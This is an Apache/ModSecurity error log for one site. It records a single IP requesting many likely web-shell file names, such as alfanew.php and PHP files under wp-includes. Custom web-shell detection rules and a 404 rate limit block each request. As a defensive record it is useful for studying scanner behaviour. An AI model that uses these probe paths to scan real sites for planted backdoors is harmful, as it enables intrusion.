[Mon Nov 24 01:12:28.898317 2025] [:error] [pid 1454:tid 1524] [client 52.236.123.156:65295] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aSNAfLeh4NH3skJ5n4RxlwAAAMw"]
[Mon Nov 24 01:12:30.598906 2025] [:error] [pid 1453:tid 1502] [client 52.236.123.156:52123] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/0.php"] [unique_id "aSNAfhUBCt7LU0bO_GBK9wAAAJE"]
[Mon Nov 24 01:12:35.639695 2025] [:error] [pid 1589:tid 1599] [client 52.236.123.156:52146] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSNAg4I2fvripjU0Eat4ZwAAAUg"]
[Mon Nov 24 01:12:37.503878 2025] [:error] [pid 1454:tid 1526] [client 52.236.123.156:49293] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSNAhbeh4NH3skJ5n4RxxQAAAM4"]
[Mon Nov 24 01:12:40.138875 2025] [:error] [pid 1452:tid 1459] [client 52.236.123.156:63515] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSNAiBKZkEEyVNVXr_nDDQAAAEI"]
[Mon Nov 24 01:12:47.614294 2025] [:error] [pid 1452:tid 1473] [client 52.236.123.156:15233] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/Mailer.php"] [unique_id "aSNAjxKZkEEyVNVXr_nDJQAAAFA"]
[Mon Nov 24 01:12:52.312410 2025] [:error] [pid 8337:tid 8361] [client 52.236.123.156:49280] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSNAlOSmps4S2j95D5h0_AAAABY"]
[Mon Nov 24 01:12:54.680376 2025] [:error] [pid 1454:tid 1512] [client 52.236.123.156:65201] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSNAlreh4NH3skJ5n4RxygAAAMA"]
[Mon Nov 24 01:12:56.323211 2025] [:error] [pid 1452:tid 1465] [client 52.236.123.156:52674] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSNAmBKZkEEyVNVXr_nDOwAAAEg"]
[Mon Nov 24 01:13:00.384703 2025] [:error] [pid 8337:tid 8356] [client 52.236.123.156:15251] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-configs.php"] [unique_id "aSNAnOSmps4S2j95D5h1KwAAABE"]
[Mon Nov 24 01:13:02.278678 2025] [:error] [pid 1453:tid 1500] [client 52.236.123.156:52720] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSNAnhUBCt7LU0bO_GBLHQAAAI8"]
[Mon Nov 24 01:13:28.207406 2025] [proxy_fcgi:error] [pid 1454:tid 1525] [client 52.236.123.156:52609] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:13:28.487101 2025] [proxy_fcgi:error] [pid 1454:tid 1533] [client 52.236.123.156:52609] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:13:28.971144 2025] [proxy_fcgi:error] [pid 1454:tid 1520] [client 52.236.123.156:52609] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:13:29.232129 2025] [proxy_fcgi:error] [pid 1454:tid 1517] [client 52.236.123.156:52609] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:13:29.970125 2025] [proxy_fcgi:error] [pid 1454:tid 1514] [client 52.236.123.156:52609] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:13:30.283349 2025] [proxy_fcgi:error] [pid 1454:tid 1536] [client 52.236.123.156:52609] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:13:30.812048 2025] [proxy_fcgi:error] [pid 1454:tid 1535] [client 52.236.123.156:52609] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:13:31.090965 2025] [proxy_fcgi:error] [pid 1454:tid 1528] [client 52.236.123.156:52609] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:13:31.748867 2025] [:error] [pid 1454:tid 1524] [client 52.236.123.156:52609] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aSNAu7eh4NH3skJ5n4Rx7gAAAMw"]
[Mon Nov 24 01:13:45.640810 2025] [:error] [pid 1454:tid 1534] [client 52.236.123.156:44388] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aSNAybeh4NH3skJ5n4Rx9QAAANY"]
[Mon Nov 24 01:13:47.735476 2025] [:error] [pid 1454:tid 1532] [client 52.236.123.156:49406] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/multi.php"] [unique_id "aSNAy7eh4NH3skJ5n4Rx9gAAANQ"]
[Mon Nov 24 01:13:51.155593 2025] [:error] [pid 1589:tid 1596] [client 52.236.123.156:51255] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/multi.php"] [unique_id "aSNAz4I2fvripjU0Eat43wAAAUU"]
[Mon Nov 24 01:13:53.410132 2025] [:error] [pid 1589:tid 1597] [client 52.236.123.156:44415] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/multi.php"] [unique_id "aSNA0YI2fvripjU0Eat44QAAAUY"]
[Mon Nov 24 01:13:56.587442 2025] [:error] [pid 1589:tid 1602] [client 52.236.123.156:45086] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uploads/multi.php"] [unique_id "aSNA1II2fvripjU0Eat45gAAAUs"]
[Mon Nov 24 01:14:07.655459 2025] [:error] [pid 8337:tid 8345] [client 52.236.123.156:14821] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3.php"] [unique_id "aSNA3-Smps4S2j95D5h1cQAAAAY"]
[Mon Nov 24 01:14:13.128145 2025] [:error] [pid 1589:tid 1612] [client 52.236.123.156:14640] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aSNA5YI2fvripjU0Eat4_wAAAVU"]
[Mon Nov 24 01:14:17.561845 2025] [:error] [pid 1453:tid 1496] [client 52.236.123.156:54648] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aSNA6RUBCt7LU0bO_GBLbQAAAIs"]
[Mon Nov 24 01:14:20.436628 2025] [:error] [pid 8337:tid 8343] [client 52.236.123.156:55300] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aSNA7OSmps4S2j95D5h1hwAAAAQ"]
[Mon Nov 24 01:14:23.758347 2025] [:error] [pid 8337:tid 8347] [client 52.236.123.156:14801] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/images/autoload_classmap.php"] [unique_id "aSNA7-Smps4S2j95D5h1jgAAAAg"]
[Mon Nov 24 01:14:27.086518 2025] [:error] [pid 1452:tid 1459] [client 52.236.123.156:14654] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk.php"] [unique_id "aSNA8xKZkEEyVNVXr_nDbAAAAEI"]
[Mon Nov 24 01:14:29.811722 2025] [:error] [pid 1454:tid 1535] [client 52.236.123.156:55320] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sk.php"] [unique_id "aSNA9beh4NH3skJ5n4RyMAAAANc"]
[Mon Nov 24 01:14:32.440414 2025] [proxy_fcgi:error] [pid 1453:tid 1495] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:32.712267 2025] [proxy_fcgi:error] [pid 1453:tid 1502] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:32.971097 2025] [proxy_fcgi:error] [pid 1453:tid 1485] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:33.481259 2025] [proxy_fcgi:error] [pid 1453:tid 1498] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:34.014882 2025] [proxy_fcgi:error] [pid 1453:tid 1506] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:34.277896 2025] [proxy_fcgi:error] [pid 1453:tid 1488] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:34.534585 2025] [proxy_fcgi:error] [pid 1453:tid 1507] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:34.803612 2025] [proxy_fcgi:error] [pid 1453:tid 1492] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:35.227699 2025] [proxy_fcgi:error] [pid 1453:tid 1490] [client 52.236.123.156:14623] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:14:35.500530 2025] [:error] [pid 1453:tid 1503] [client 52.236.123.156:14623] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aSNA-xUBCt7LU0bO_GBLkAAAAJI"]
[Mon Nov 24 01:14:37.964957 2025] [:error] [pid 8337:tid 8345] [client 52.236.123.156:14815] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aSNA_eSmps4S2j95D5h1ogAAAAY"]
[Mon Nov 24 01:14:40.799569 2025] [:error] [pid 8337:tid 8355] [client 52.236.123.156:15230] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aSNBAOSmps4S2j95D5h1pQAAABA"]
[Mon Nov 24 01:14:42.252842 2025] [:error] [pid 1453:tid 1508] [client 52.236.123.156:14820] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oo.php"] [unique_id "aSNBAhUBCt7LU0bO_GBLnwAAAJc"]
[Mon Nov 24 01:14:44.028091 2025] [:error] [pid 1589:tid 1604] [client 52.236.123.156:15197] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aSNBBII2fvripjU0Eat5HAAAAU0"]
[Mon Nov 24 01:14:48.033590 2025] [:error] [pid 1589:tid 1603] [client 52.236.123.156:14845] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aSNBCII2fvripjU0Eat5JgAAAUw"]
[Mon Nov 24 01:14:50.800641 2025] [:error] [pid 8337:tid 8344] [client 52.236.123.156:50789] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aSNBCuSmps4S2j95D5h1tQAAAAU"]
[Mon Nov 24 01:14:53.679135 2025] [:error] [pid 8337:tid 8352] [client 52.236.123.156:15227] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfanew.php"] [unique_id "aSNBDeSmps4S2j95D5h1uwAAAA0"]
[Mon Nov 24 01:14:55.365643 2025] [:error] [pid 1589:tid 1608] [client 52.236.123.156:65354] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSNBD4I2fvripjU0Eat5LQAAAVE"]
[Mon Nov 24 01:14:56.375225 2025] [:error] [pid 8337:tid 8340] [client 52.236.123.156:65344] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSNBEOSmps4S2j95D5h1vgAAAAE"]
[Mon Nov 24 01:14:58.418808 2025] [:error] [pid 1454:tid 1522] [client 52.236.123.156:57536] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSNBEreh4NH3skJ5n4RyVwAAAMo"]
[Mon Nov 24 01:15:02.748204 2025] [:error] [pid 8337:tid 8350] [client 52.236.123.156:50775] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSNBFuSmps4S2j95D5h1zwAAAAs"]
[Mon Nov 24 01:15:09.018449 2025] [:error] [pid 8337:tid 8344] [client 52.236.123.156:58765] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSNBHeSmps4S2j95D5h14QAAAAU"]
[Mon Nov 24 01:15:10.337027 2025] [:error] [pid 8337:tid 8339] [client 52.236.123.156:14566] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ll.php"] [unique_id "aSNBHuSmps4S2j95D5h15gAAAAA"]
[Mon Nov 24 01:15:12.380337 2025] [:error] [pid 1452:tid 1476] [client 52.236.123.156:56038] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ll.php"] [unique_id "aSNBIBKZkEEyVNVXr_nDhgAAAFM"]
[Mon Nov 24 01:15:14.984855 2025] [:error] [pid 8337:tid 8342] [client 52.236.123.156:58833] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ll.php"] [unique_id "aSNBIuSmps4S2j95D5h17AAAAAM"]
[Mon Nov 24 01:15:21.224525 2025] [:error] [pid 1589:tid 1596] [client 52.236.123.156:15123] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ll.php"] [unique_id "aSNBKYI2fvripjU0Eat5PwAAAUU"]
[Mon Nov 24 01:15:22.482497 2025] [:error] [pid 1453:tid 1493] [client 52.236.123.156:58849] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSNBKhUBCt7LU0bO_GBLuwAAAIk"]
[Mon Nov 24 01:15:29.845259 2025] [:error] [pid 1454:tid 1530] [client 52.236.123.156:64018] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ee.php"] [unique_id "aSNBMbeh4NH3skJ5n4RyZwAAANI"]
[Mon Nov 24 01:15:32.574612 2025] [:error] [pid 8337:tid 8353] [client 52.236.123.156:14470] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ee.php"] [unique_id "aSNBNOSmps4S2j95D5h2CgAAAA4"]
[Mon Nov 24 01:15:34.509761 2025] [proxy_fcgi:error] [pid 1453:tid 1506] [client 52.236.123.156:14483] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:15:35.043261 2025] [proxy_fcgi:error] [pid 1453:tid 1496] [client 52.236.123.156:14483] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:15:35.299073 2025] [proxy_fcgi:error] [pid 1453:tid 1495] [client 52.236.123.156:14483] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:15:35.549590 2025] [:error] [pid 1453:tid 1502] [client 52.236.123.156:14483] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSNBNxUBCt7LU0bO_GBLxAAAAJE"]
[Mon Nov 24 01:15:38.271838 2025] [proxy_fcgi:error] [pid 1589:tid 1598] [client 52.236.123.156:64894] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:15:38.637639 2025] [proxy_fcgi:error] [pid 1589:tid 1603] [client 52.236.123.156:64894] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:15:38.903988 2025] [proxy_fcgi:error] [pid 1589:tid 1601] [client 52.236.123.156:64894] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:15:39.435351 2025] [proxy_fcgi:error] [pid 1589:tid 1612] [client 52.236.123.156:64894] AH01071: Got error 'Primary script unknown'
[Mon Nov 24 01:15:39.687334 2025] [:error] [pid 1589:tid 1599] [client 52.236.123.156:64894] [client 52.236.123.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSNBO4I2fvripjU0Eat5SgAAAUg"]
[Mon Nov 24 01:15:54.099030 2025] [:error] [pid 8337:tid 8349] [client 52.236.123.156:14474] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/po.php"] [unique_id "aSNBSuSmps4S2j95D5h2TwAAAAo"]
[Mon Nov 24 01:15:56.754892 2025] [:error] [pid 1589:tid 1604] [client 52.236.123.156:52198] [client 52.236.123.156] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zews.php"] [unique_id "aSNBTII2fvripjU0Eat5VQAAAU0"]
